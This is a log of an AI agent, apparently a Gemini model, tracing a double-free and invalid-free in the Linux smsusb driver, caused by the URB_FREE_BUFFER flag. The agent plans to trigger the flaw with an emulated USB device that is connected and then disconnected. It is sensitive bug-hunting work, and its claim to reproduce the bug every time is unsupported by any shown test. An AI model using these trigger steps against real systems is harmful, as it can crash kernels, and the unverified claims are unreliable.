I'm also trying to ascertain the purpose of `surb->cb`. Is it a completion callback? A context pointer? Understanding its role is crucial to evaluating the impact of it being set to `NULL`. If it's a callback, then `smscore_onresponse` might be expected to *use* that callback, which would be impossible if it's `NULL`. If it's a context, then its absence might mean that `smscore_onresponse` can't retrieve necessary context information.

Ultimately, I'm piecing together a mental model of how the URB submission and completion flow works within this driver. The `smsusb_onresponse` function appears to be a critical juncture, acting as a handler for completed URBs, preparing the system for the next submission, and ensuring that the core logic (`smscore_onresponse`) is invoked with potentially modified state. The specific ordering suggests a deliberate design choice, and I'm focused on understanding the rationale behind that choice, particularly concerning the lifecycle and data dependencies associated with the `surb` structure and its `cb` field.


43/2 2026/09/04 10:19 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:do_submit_urb]

Results:
map[SourceCode:  66:	/*
  67:	 * Completing URB's callback handler - bottom half (process context)
  68:	 * submits the URB prepared on smsusb_onresponse()
  69:	 */
  70:	static void do_submit_urb(struct work_struct *work)
  71:	{
  72:		struct smsusb_urb_t *surb = container_of(work, struct smsusb_urb_t, wq);
  73:		struct smsusb_device_t *dev = surb->dev;
  74:	
  75:		smsusb_submit_urb(dev, surb);
  76:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

44/2 2026/09/04 10:19 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30477
							output: 39
							thoughts: 460
						

Thoughts:
**My Realization about a Potential Memory Corruption Bug**

As I was examining the `smsusb_submit_urb` function, a crucial detail concerning buffer handling immediately caught my attention. My first thought was to re-read the code carefully to ensure I wasn't misinterpreting it. I saw that within `smsusb_submit_urb`, there's a conditional block where a buffer, `surb->cb`, is acquired using `smscore_getbuffer` if it's not already present. This part itself isn't the core issue, though I noted that `smscore_getbuffer` can potentially sleep, which is a standard consideration for kernel operations.

The real trigger for my concern came when I looked at the `usb_fill_bulk_urb` call. Specifically, I noticed the line `surb->urb->transfer_flags |= URB_FREE_BUFFER;`. My immediate reaction was, "Wait a minute, this flag is being set *every single time* `smsusb_submit_urb` is invoked!" This struck me as highly unusual, and I began to trace the implications.

I then followed where `urb->transfer_buffer` was pointing. The code clearly shows it's being set to `surb->cb->p`. My next step was to understand what `surb->cb->p` actually represented. I realized that `surb->cb->p` is effectively a pointer *into* `dev->common_buffer`. This is where the problem started to crystalize.

The critical insight was that if `URB_FREE_BUFFER` is set, the kernel's USB subsystem will attempt to free the buffer pointed to by `urb->transfer_buffer` when the URB is eventually destroyed. However, the problem is that `urb->transfer_buffer` (which is `surb->cb->p`) is *not* an independently `kmalloc`-ed buffer. It's a pointer to a specific offset *within* `dev->common_buffer`.

My understanding is that `dev->common_buffer` itself is allocated as a single contiguous block using `kzalloc(dev->common_buffer_size)`. If `surb->cb->p` points to an offset like `dev->common_buffer + i * buffer_size` where `i` is greater than zero, then `surb->cb->p` is *not* the starting address of the original allocation.

The implication of this is severe: if `URB_FREE_BUFFER` is set and the URB is destroyed, the kernel will try to `kfree` a pointer that is not the original allocation's starting point. This is an invalid `kfree` operation and would almost certainly lead to memory corruption, likely a kernel panic.

This led me to the immediate conclusion: `URB_FREE_BUFFER` should *never* be set in this context. My next logical step was to question *why* it was being set. To resolve this, I immediately thought that I needed to investigate the history of this particular line of code, perhaps using `git blame` or by reviewing recent commits, to understand the original intent or if this was a regression.


45/2 2026/09/04 10:19 tool grepper
0m Args:
map[Expression:URB_FREE_BUFFER PathPrefix:drivers/media/usb/siano/smsusb.c]

Results:
map[Output:drivers/media/usb/siano/smsusb.c=150=static int smsusb_submit_urb(struct smsusb_device_t *dev,
--
drivers/media/usb/siano/smsusb.c-170-	);
drivers/media/usb/siano/smsusb.c:171:	surb->urb->transfer_flags |= URB_FREE_BUFFER;
drivers/media/usb/siano/smsusb.c-172-
]

46/2 2026/09/04 10:19 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31088
							output: 35
							thoughts: 388
						

Thoughts:
**The Critical Flaw in Buffer Management**

My primary concern here is a critical bug in how URB (USB Request Block) buffers are being managed, specifically when `URB_FREE_BUFFER` is set. It seems that `urb_destroy` is being instructed to `kfree` the `urb->transfer_buffer`. Now, the crucial point is that `urb->transfer_buffer` in this context is actually `surb->cb->p`, which is a pointer *into* a larger memory region, `dev->common_buffer`. This setup inherently leads to a bug, regardless of the specific index.

Let me break down why:

*   **The `i = 0` Case:** If the buffer in question is the very first one within `dev->common_buffer` (i.e., `i = 0`), then `surb->cb->p` points directly to the start of `dev->common_buffer`. If `urb_destroy` proceeds to `kfree(urb->transfer_buffer)`, it will attempt to free the *entire* `dev->common_buffer`. This is problematic because `smscore_unregister_device` is *also* designed to free `dev->common_buffer`. Therefore, this scenario results in a double-free situation, which is a severe memory corruption issue.

*   **The `i > 0` Case:** For any subsequent buffers within `dev->common_buffer` (where `i > 0`), `surb->cb->p` will point to an offset within that larger allocation (`dev->common_buffer + i * buffer_size`). Executing `kfree` on such an offset is fundamentally incorrect. `kfree` expects a pointer to the *start* of a memory block allocated by `kmalloc` (or similar). Attempting to `kfree` an arbitrary offset within a larger, individually managed block is an invalid operation and will likely lead to memory corruption or crashes.

Given this analysis, the fix appears to be straightforward: I need to **remove** the line `surb->urb->transfer_flags |= URB_FREE_BUFFER;`.

However, I'm pausing to ensure I haven't missed any edge cases. Is there *any* scenario where `urb->transfer_buffer` should indeed be freed by `urb_destroy`? My understanding is: No. The memory pointed to by `surb->cb` is managed by the `smscore` subsystem. Specifically, `smscore_unregister_device` handles the freeing of `dev->common_buffer`, and `smscore_putbuffer` is responsible for returning individual buffers to the free list. These buffers are *never* individually allocated via `kmalloc` and therefore should *never* be individually freed using `kfree`. This consistency in buffer management confirms my initial assessment – the `URB_FREE_BUFFER` flag is simply inappropriate here.


47/2 2026/09/04 10:19 tool grepper
0m Args:
map[Expression:URB_FREE_BUFFER PathPrefix:drivers/media/usb/siano/]

Results:
map[Output:drivers/media/usb/siano/smsusb.c=150=static int smsusb_submit_urb(struct smsusb_device_t *dev,
--
drivers/media/usb/siano/smsusb.c-170-	);
drivers/media/usb/siano/smsusb.c:171:	surb->urb->transfer_flags |= URB_FREE_BUFFER;
drivers/media/usb/siano/smsusb.c-172-
]

48/2 2026/09/04 10:19 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31623
							output: 43
							thoughts: 306
						

Thoughts:
**My Thought Process Unraveling the `URB_FREE_BUFFER` Bug**

Okay, so after digging into this, I've pinpointed the core issue. It seems `URB_FREE_BUFFER` is a flag that's *only* being utilized in this specific scenario. The actual bug lies in how it's being set on a URB where the `transfer_buffer` is merely a pointer into a larger, shared buffer (`dev->common_buffer`) that's under the management of `smscore`.

The sequence of events leading to the crash is quite clear now. When `smsusb_term_device` executes, it eventually calls `usb_free_urb`. This, in turn, invokes `urb_destroy`, which then proceeds to call `kfree(urb->transfer_buffer)`. Because this `transfer_buffer` is actually part of `dev->common_buffer`, this `kfree` operation is problematic. If `i` (which I assume is some index related to the `transfer_buffer` within `common_buffer`) is greater than zero, it's an invalid `kfree` because the memory isn't individually allocated. If `i` is zero, it's a double-free because `smscore` likely handles the freeing of `common_buffer` itself.

Reproducing this seems straightforward. The critical trigger is any situation that causes `smsusb` to probe and then subsequently disconnect or fail. My initial thought was that a successful probe was necessary, but I've realized that's not quite right. If `smsusb_probe` *succeeds*, the device gets registered, and then upon disconnection, `smsusb_term_device` is called, leading to the bug. However, even if `smsusb_probe` *fails* – for instance, if `smsusb_start_streaming` bails out – the error handling path (`err_unregister_device`) also calls `smsusb_term_device`, again triggering the bug. So, it appears *any* probe of `smsusb` that gets to the point of calling `smsusb_submit_urb` and then subsequently encounters a disconnect or a failure will manifest this issue.

The next step for me is to figure out how to initiate this probe in the first place. To do that, I'll need to emulate a USB device that presents an identity matching the `smsusb` driver. I'll need to examine the `smsusb_id_table` to understand what Vendor and Product IDs I should be looking for.


49/2 2026/09/04 10:19 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_id_table]

Results:
map[SourceCode: 629:	static const struct usb_device_id smsusb_id_table[] = {
 630:		/* This device is only present before firmware load */
 631:		{ USB_DEVICE(0x187f, 0x0010),
 632:			.driver_info = SMS1XXX_BOARD_SIANO_STELLAR_ROM },
 633:		/* This device pops up after firmware load */
 634:		{ USB_DEVICE(0x187f, 0x0100),
 635:			.driver_info = SMS1XXX_BOARD_SIANO_STELLAR },
 636:	
 637:		{ USB_DEVICE(0x187f, 0x0200),
 638:			.driver_info = SMS1XXX_BOARD_SIANO_NOVA_A },
 639:		{ USB_DEVICE(0x187f, 0x0201),
 640:			.driver_info = SMS1XXX_BOARD_SIANO_NOVA_B },
 641:		{ USB_DEVICE(0x187f, 0x0300),
 642:			.driver_info = SMS1XXX_BOARD_SIANO_VEGA },
 643:		{ USB_DEVICE(0x2040, 0x1700),
 644:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_CATAMOUNT },
 645:		{ USB_DEVICE(0x2040, 0x1800),
 646:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_OKEMO_A },
 647:		{ USB_DEVICE(0x2040, 0x1801),
 648:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_OKEMO_B },
 649:		{ USB_DEVICE(0x2040, 0x2000),
 650:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 651:		{ USB_DEVICE(0x2040, 0x2009),
 652:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2 },
 653:		{ USB_DEVICE(0x2040, 0x200a),
 654:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 655:		{ USB_DEVICE(0x2040, 0x2010),
 656:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 657:		{ USB_DEVICE(0x2040, 0x2011),
 658:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 659:		{ USB_DEVICE(0x2040, 0x2019),
 660:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 661:		{ USB_DEVICE(0x2040, 0x5500),
 662:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 663:		{ USB_DEVICE(0x2040, 0x5510),
 664:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 665:		{ USB_DEVICE(0x2040, 0x5520),
 666:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 667:		{ USB_DEVICE(0x2040, 0x5530),
 668:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 669:		{ USB_DEVICE(0x2040, 0x5580),
 670:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 671:		{ USB_DEVICE(0x2040, 0x5590),
 672:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 673:		{ USB_DEVICE(0x2040, 0xb900),
 674:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 675:		{ USB_DEVICE(0x2040, 0xb910),
 676:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 677:		{ USB_DEVICE(0x2040, 0xb980),
 678:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 679:		{ USB_DEVICE(0x2040, 0xb990),
 680:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 681:		{ USB_DEVICE(0x2040, 0xc000),
 682:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 683:		{ USB_DEVICE(0x2040, 0xc010),
 684:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 685:		{ USB_DEVICE(0x2040, 0xc080),
 686:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 687:		{ USB_DEVICE(0x2040, 0xc090),
 688:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 689:		{ USB_DEVICE(0x2040, 0xc0a0),
 690:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 691:		{ USB_DEVICE(0x2040, 0xf5a0),
 692:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 693:		{ USB_DEVICE(0x187f, 0x0202),
 694:			.driver_info = SMS1XXX_BOARD_SIANO_NICE },
 695:		{ USB_DEVICE(0x187f, 0x0301),
 696:			.driver_info = SMS1XXX_BOARD_SIANO_VENICE },
 697:		{ USB_DEVICE(0x187f, 0x0302),
 698:			.driver_info = SMS1XXX_BOARD_SIANO_VENICE },
 699:		{ USB_DEVICE(0x187f, 0x0310),
 700:			.driver_info = SMS1XXX_BOARD_SIANO_MING },
 701:		{ USB_DEVICE(0x187f, 0x0500),
 702:			.driver_info = SMS1XXX_BOARD_SIANO_PELE },
 703:		{ USB_DEVICE(0x187f, 0x0600),
 704:			.driver_info = SMS1XXX_BOARD_SIANO_RIO },
 705:		{ USB_DEVICE(0x187f, 0x0700),
 706:			.driver_info = SMS1XXX_BOARD_SIANO_DENVER_2160 },
 707:		{ USB_DEVICE(0x187f, 0x0800),
 708:			.driver_info = SMS1XXX_BOARD_SIANO_DENVER_1530 },
 709:		{ USB_DEVICE(0x19D2, 0x0086),
 710:			.driver_info = SMS1XXX_BOARD_ZTE_DVB_DATA_CARD },
 711:		{ USB_DEVICE(0x19D2, 0x0078),
 712:			.driver_info = SMS1XXX_BOARD_ONDA_MDTV_DATA_CARD },
 713:		{ USB_DEVICE(0x3275, 0x0080),
 714:			.driver_info = SMS1XXX_BOARD_SIANO_RIO },
 715:		{ USB_DEVICE(0x2013, 0x0257),
 716:			.driver_info = SMS1XXX_BOARD_PCTV_77E },
 717:		{ } /* Terminating entry */
 718:		};
 SourceFile:drivers/media/usb/siano/smsusb.c]

50/2 2026/09/04 10:19 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 34352
							output: 38
							thoughts: 855
						

Thoughts:
**The Path to a Double Free**

My thought process started with understanding the basic requirements for the `smsusb` driver. It needs IN and OUT endpoints, which are identified by specific addresses like `0x187f` and `0x0010`. The code snippet provided confirms this, showing how it iterates through endpoints to find the IN and OUT ones.

Next, I traced the device initialization flow. When a device matching these criteria is plugged in, `smsusb_probe` kicks off the process by calling `smsusb_init_device`. This is crucial because it leads to `smscore_register_device`, which is responsible for allocating a `common_buffer` for the device. Following this, 10 URBs are allocated. The `smsusb_start_streaming` function then comes into play, submitting each of these URBs using `smsusb_submit_urb`.

Here's where the buffer allocation detail becomes critical: `smsusb_submit_urb` marks the URB with `URB_FREE_BUFFER` and, importantly, sets `urb->transfer_buffer` to point to the already allocated `surb->cb->p`, which is a portion of `dev->common_buffer`. This is the first key piece of information: the URB's transfer buffer is directly tied to the `common_buffer` and is flagged for freeing.

Now, I considered how to exploit this. The `dummy_hcd` and `syz_usb_connect` tools offer a way to emulate this device connection and disconnection. The simplest trigger, I realized, would be to simply disconnect the device.

When the device is disconnected, the `smsusb_term_device` function is invoked. This function, in turn, calls `smscore_unregister_device`, which frees the `dev->common_buffer`. Subsequently, it iterates through the URBs and calls `usb_free_urb` on each. The `usb_free_urb` function calls `urb_destroy`.

This is where the problem surfaces: `urb_destroy` checks the `URB_FREE_BUFFER` flag. If set, it calls `kfree(urb->transfer_buffer)`. Since `urb->transfer_buffer` still points to the `dev->common_buffer` (which has already been freed by `smscore_unregister_device`), this results in a double free.

However, I had a moment of doubt: would the URBs be completed before `smsusb_term_device` is called during a disconnect? My understanding is that the USB core, upon device disconnection, kills all pending URBs. I questioned if killing an URB would clear the `URB_FREE_BUFFER` flag or reset `urb->transfer_buffer`. The answer, I reasoned, is no, these flags and pointers are not cleared by `usb_kill_urb`.

Then, I considered the lifecycle of the URB. When an URB is submitted, the USB core holds a reference to it. Upon disconnection, the USB core completes these URBs with a `-ESHUTDOWN` status. This triggers the completion handler, `smsusb_onresponse`. Looking at the provided code, the handler correctly identifies the `-ESHUTDOWN` status and, crucially, *returns*. It does *not* clear `URB_FREE_BUFFER` nor does it nullify `urb->transfer_buffer`.

After the completion handler returns, the USB core drops its reference to the URB. At this point, `smsusb_term_device` is called, and it proceeds to call `usb_free_urb` on each URB. Because this is the last reference, `urb_destroy` is indeed called. And as established, `urb_destroy` will attempt to `kfree(urb->transfer_buffer)`, which, since it still points to the freed `dev->common_buffer`, leads to the double free.

Therefore, my conclusion is solid: a simple connect and disconnect sequence is sufficient to trigger this double-free vulnerability. The critical part is that the URB's buffer management and completion handling, when interrupted by a device disconnect, leave the `URB_FREE_BUFFER` flag set and the `transfer_buffer` pointing to an already freed memory region.


51/2 2026/09/04 10:20 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/usb/core/urb.c Name:usb_kill_urb]

Results:
map[SourceCode: 676:	/**
 677:	 * usb_kill_urb - cancel a transfer request and wait for it to finish
 678:	 * @urb: pointer to URB describing a previously submitted request,
 679:	 *	may be NULL
 680:	 *
 681:	 * This routine cancels an in-progress request.  It is guaranteed that
 682:	 * upon return all completion handlers will have finished and the URB
 683:	 * will be totally idle and available for reuse.  These features make
 684:	 * this an ideal way to stop I/O in a disconnect() callback or close()
 685:	 * function.  If the request has not already finished or been unlinked
 686:	 * the completion handler will see urb->status == -ENOENT.
 687:	 *
 688:	 * While the routine is running, attempts to resubmit the URB will fail
 689:	 * with error -EPERM.  Thus even if the URB's completion handler always
 690:	 * tries to resubmit, it will not succeed and the URB will become idle.
 691:	 *
 692:	 * The URB must not be deallocated while this routine is running.  In
 693:	 * particular, when a driver calls this routine, it must insure that the
 694:	 * completion handler cannot deallocate the URB.
 695:	 *
 696:	 * This routine may not be used in an interrupt context (such as a bottom
 697:	 * half or a completion handler), or when holding a spinlock, or in other
 698:	 * situations where the caller can't schedule().
 699:	 *
 700:	 * This routine should not be called by a driver after its disconnect
 701:	 * method has returned.
 702:	 */
 703:	void usb_kill_urb(struct urb *urb)
 704:	{
 705:		might_sleep();
 706:		if (!(urb && urb->dev && urb->ep))
 707:			return;
 708:		atomic_inc(&urb->reject);
 709:		/*
 710:		 * Order the write of urb->reject above before the read
 711:		 * of urb->use_count below.  Pairs with the barriers in
 712:		 * __usb_hcd_giveback_urb() and usb_hcd_submit_urb().
 713:		 */
 714:		smp_mb__after_atomic();
 715:	
 716:		usb_hcd_unlink_urb(urb, -ENOENT);
 717:		wait_event(usb_kill_urb_queue, atomic_read(&urb->use_count) == 0);
 718:	
 719:		atomic_dec(&urb->reject);
 720:	}
 SourceFile:drivers/usb/core/urb.c]

52/2 2026/09/04 10:20 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 36010
							output: 44
							thoughts: 627
						

Thoughts:
**My Debugging Journey: Pinpointing the Siano USB Driver Bug**

Okay, so my initial thought was that this bug wasn't related to clearing `URB_FREE_BUFFER`. It's incredibly consistent; I can reproduce it every single time just by connecting and then disconnecting the device. That's a pretty solid indicator right there.

I started wondering, is there any other way to trigger this without a full disconnect? I looked at the code and saw that if `smsusb_start_streaming` fails, it jumps to `err_unregister_device`, which then triggers the bug. So, the question became: how can I *make* `smsusb_start_streaming` fail?

My first thought there was `usb_submit_urb`. This function can fail, but typically if the endpoint isn't bulk (which we're using) or if the buffer is too large. Our `dev->buffer_size` is 8192, which is well within limits. So, a failed `usb_submit_urb` wasn't the most likely path to failure in this specific scenario. This brings me back to the simplest reproduction method: just connect and disconnect.

I considered other ways to simulate connection and disconnection. We could use `syz_usb_connect` followed by `syz_usb_disconnect`. Or, we could leverage the `raw-gadget` module to emulate the USB device and then simply close the file descriptor to achieve a disconnect. These are valid alternative reproduction vectors, but the direct connect/disconnect is the most straightforward.

Then I re-examined the bug report, specifically the call stack:
```
smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
```
Ah! This changes things. The crash occurred *during* `smsusb_probe`. This means that `smsusb_init_device` must have failed, and then it took the `goto err_unregister_device` path. This is a crucial piece of information.

So, why did `smsusb_init_device` fail? I'm looking at the relevant snippet of `smsusb_init_device` again:
```c
	pr_debug("smsusb_start_streaming(...).\n");
	rc = smsusb_start_streaming(dev);
	if (rc < 0) {
		pr_err("smsusb_start_streaming(...) failed\n");
		goto err_unregister_device;
	}

	dev->state = SMSUSB_ACTIVE;

	rc = smscore_start_device(dev->coredev);
	if (rc < 0) {
		pr_err("smscore_start_device(...) failed\n");
		goto err_unregister_device;
	}
```
Now, the failure in `smsusb_init_device` could have happened in one of two places: either `smsusb_start_streaming` failed, or `smscore_start_device` failed. If `smsusb_start_streaming` failed, we're back to the `usb_submit_urb` scenario, which seemed less likely. However, if `smscore_start_device` failed, it means the core device couldn't be started. I need to delve into `smscore_start_device` to understand its potential failure points. That's my next investigative step.


53/2 2026/09/04 10:20 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_start_device]

Results:
map[SourceCode: 864:	/*
 865:	 * sets initial device mode and notifies client hotplugs that device is ready
 866:	 *
 867:	 * @param coredev pointer to a coredev object returned by
 868:	 *		  smscore_register_device
 869:	 *
 870:	 * return: 0 on success, <0 on error.
 871:	 */
 872:	int smscore_start_device(struct smscore_device_t *coredev)
 873:	{
 874:		int rc;
 875:		int board_id = smscore_get_board_id(coredev);
 876:		int mode = smscore_registry_getmode(coredev->devpath);
 877:	
 878:		/* Device is initialized as DEVICE_MODE_NONE */
 879:		if (board_id != SMS_BOARD_UNKNOWN && mode == DEVICE_MODE_NONE)
 880:			mode = sms_get_board(board_id)->default_mode;
 881:	
 882:		rc = smscore_set_device_mode(coredev, mode);
 883:		if (rc < 0) {
 884:			pr_info("set device mode failed , rc %d\n", rc);
 885:			return rc;
 886:		}
 887:		rc = smscore_configure_board(coredev);
 888:		if (rc < 0) {
 889:			pr_info("configure board failed , rc %d\n", rc);
 890:			return rc;
 891:		}
 892:	
 893:		mutex_lock(&g_smscore_deviceslock);
 894:	
 895:		rc = smscore_notify_callbacks(coredev, coredev->device, 1);
 896:		smscore_init_ir(coredev);
 897:	
 898:		pr_debug("device %p started, rc %d\n", coredev, rc);
 899:	
 900:		mutex_unlock(&g_smscore_deviceslock);
 901:	
 902:		return rc;
 903:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

54/2 2026/09/04 10:20 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 37299
							output: 41
							thoughts: 3753
						

Thoughts:
**The Path to Unearthing a Critical USB Driver Vulnerability**

My thought process for identifying and understanding this bug began with a simple observation: the `smscore_start_device` function could fail. However, as I delved deeper, I realized we didn't even need that particular failure point. The real magic, the key to unlocking the vulnerability, lay in intentionally making `smsusb_start_streaming` fail.

The question then became, "How do we achieve that?" My initial idea was to provide an endpoint that wasn't a bulk endpoint but was *treated* as one. This led me to scrutinize the `smsusb_init_device` function. I noticed its loop iterating through endpoints:

```c
	for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) {
		struct usb_endpoint_descriptor *desc =
				&intf->cur_altsetting->endpoint[i].desc;

		if (desc->bEndpointAddress & USB_DIR_IN) {
			dev->in_ep = desc->bEndpointAddress;
			align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr);
		} else {
			dev->out_ep = desc->bEndpointAddress;
		}
	}
```

Crucially, I saw that this loop *doesn't* explicitly check if an endpoint is a bulk endpoint. It simply assigns the `in_ep` and `out_ep` based on direction. This was my opening. If I could present an INTERRUPT endpoint where a bulk endpoint was expected, that would be the trigger.

I reasoned that if I provided an INTERRUPT endpoint, the `usb_fill_bulk_urb` function would attempt to set up a bulk pipe. Then, `usb_submit_urb` would encounter a mismatch: the pipe type would be bulk, but the endpoint descriptor would indicate interrupt. I confirmed this by looking at `usb_submit_urb`, which indeed calls `usb_urb_ep_type_check` to validate the pipe against the endpoint descriptor.

The consequence of this mismatch is that `usb_submit_urb` would return an error, specifically `-EINVAL`. Consequently, `smsusb_submit_urb` would propagate this error, leading `smsusb_start_streaming` to fail. This, in turn, would cause `smsusb_init_device` to jump to its error handling path, calling `err_unregister_device`.

The subsequent call to `smsusb_term_device` is where the real damage occurs. It calls `smscore_unregister_device`, which frees `dev->common_buffer`. Then, it iterates through all the URBs, calling `usb_free_urb` on each.

Here's the critical insight: if `usb_submit_urb` failed, the `urb->transfer_flags` would still have `URB_FREE_BUFFER` set, and `urb->transfer_buffer` would still be pointing to a valid memory region, likely within `dev->common_buffer`. However, `smscore_unregister_device` has *already* freed `dev->common_buffer`. This means `urb_destroy` (called indirectly by `usb_free_urb`) would attempt to free memory that has already been freed, leading to a double-free or an invalid-free, depending on the exact pointer.

I then began to question my initial assumption. What if `usb_submit_urb` *didn't* fail due to the endpoint type? What if `syzkaller` (or my test setup) provided a valid bulk endpoint, and `usb_submit_urb` actually succeeded for all URBs? My thought process then shifted to analyzing the scenario where `smscore_start_device` might fail instead.

If `smscore_start_device` fails, `smsusb_init_device` also falls back to `err_unregister_device`, and `smsusb_term_device` is called. In this scenario, all URBs were successfully submitted, meaning `URB_FREE_BUFFER` is set for all of them, and their `transfer_buffer` pointers are valid, pointing to `dev->common_buffer + i * buffer_size`.

The key realization here is that `smsusb_term_device` first calls `smsusb_stop_streaming`. This function calls `usb_kill_urb` on each URB. `usb_kill_urb` waits for URBs to complete and then the USB core drops its reference. Crucially, after `smsusb_stop_streaming` returns, the URBs are no longer in flight, and their reference count is down to one (the one held during allocation).

When `smsusb_term_device` then calls `usb_free_urb`, it drops the last reference, triggering `urb_destroy`. Now, because `URB_FREE_BUFFER` is set for *every* URB that was successfully submitted, `urb_destroy` will attempt to free `urb->transfer_buffer`.

This is where the bug manifests across all submitted URBs. The first URB (i=0) will attempt to free `dev->common_buffer`. The second URB (i=1) will attempt to free `dev->common_buffer + buffer_size`, and so on. Since `smscore_unregister_device` already freed `dev->common_buffer`, the first URB triggers a double-free. Subsequent URBs will attempt to free memory that is no longer valid or has been reallocated, leading to invalid-free errors.

The KASAN report, indicating an "invalid-free" at a specific offset, strongly suggested that the bug wasn't necessarily the very first URB's double-free, but rather an invalid-free on a later URB. This confirmed my understanding that the issue arises from `urb_destroy` incorrectly freeing `urb->transfer_buffer` when that buffer has already been managed (and freed) by `smscore_unregister_device`.

Therefore, the core of the vulnerability lies in the mismatch between the lifecycle management of `dev->common_buffer` by `smscore_unregister_device` and the automatic buffer freeing logic within `urb_destroy` when `URB_FREE_BUFFER` is set. This logic is executed regardless of whether the initial URB submission succeeded or failed, as long as `smsusb_submit_urb` was called. The most reliable way to trigger this is to cause `smscore_start_device` to fail after the URBs have been submitted.

To reproduce this, I'd construct a USB descriptor with a vendor/product ID matching the driver's `smsusb_id_table`. The key would be to provide a valid bulk endpoint for the initial probe, allowing `usb_submit_urb` to succeed. The failure would then be induced at the `smscore_start_device` stage, perhaps by spoofing an error return from `smscore_set_device_mode`. This would lead to the cleanup path where the double-free or invalid-free would occur.


55/2 2026/09/04 10:21 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_disconnect]

Results:
map[SourceCode: 583:	static void smsusb_disconnect(struct usb_interface *intf)
 584:	{
 585:		smsusb_term_device(intf);
 586:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

56/2 2026/09/04 10:21 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 41164
							output: 43
							thoughts: 1213
						

Thoughts:
**My Thought Process on Discovering and Reproducing the `smsusb` Double-Free Bug**

Eureka! I've just had a breakthrough. It seems the `smsusb_disconnect` function is remarkably straightforward; it essentially just calls `smsusb_term_device`. This realization has simplified the path to reproducing the bug significantly.

My strategy now is incredibly direct. I need to emulate a USB device that the `smsusb` driver will recognize. The key here is to match the `smsusb_id_table`, specifically by setting `idVendor` to `0x187f` and `idProduct` to `0x0010`. Once this device is virtually connected, I need to ensure it presents a specific configuration: a single interface containing precisely two endpoints – one for IN traffic and one for OUT traffic.

The sequence of events to trigger the bug is as follows:

1.  **Emulate the USB Device:** I'll use a tool like `raw-gadget` or `syz_usb_connect` to create a virtual USB device. This device will need to expose the following descriptors:
    *   A Device Descriptor with `idVendor=0x187f` and `idProduct=0x0010`.
    *   A Configuration Descriptor indicating one interface.
    *   An Interface Descriptor for that single interface, specifying two endpoints.
    *   Endpoint 1 will be an IN endpoint, using Bulk transfer, with address `0x81`.
    *   Endpoint 2 will be an OUT endpoint, also using Bulk transfer, with address `0x02`.

2.  **Connect the Device:** I'll then establish the connection for this emulated USB device.

3.  **Probe Completion:** I'll wait for a short period, allowing the `smsusb` driver to probe the device and complete its initialization.

4.  **Disconnect the Device:** Finally, I will disconnect the emulated USB device.

Let's trace what happens internally. When the device is connected, the `smsusb_probe` function will be invoked. This function, in turn, calls `smsusb_init_device`. Inside `smsusb_init_device`, a common buffer for DMA operations is allocated, and ten URBs (USB Request Blocks) are initialized. Crucially, `smsusb_init_device` then calls `smsusb_start_streaming`, which submits these ten URBs.

During the `smsusb_submit_urb` operation for each of these URBs, the `URB_FREE_BUFFER` flag is set, and `urb->transfer_buffer` is made to point to a specific segment within that common DMA buffer.

Now, here's where the problem arises. When the device is disconnected, `smsusb_disconnect` is called, leading to `smsusb_term_device`. The `smsusb_term_device` function first calls `smsusb_stop_streaming`. This function attempts to cancel the URBs but, critically, it *does not* clear the `URB_FREE_BUFFER` flag that was set earlier.

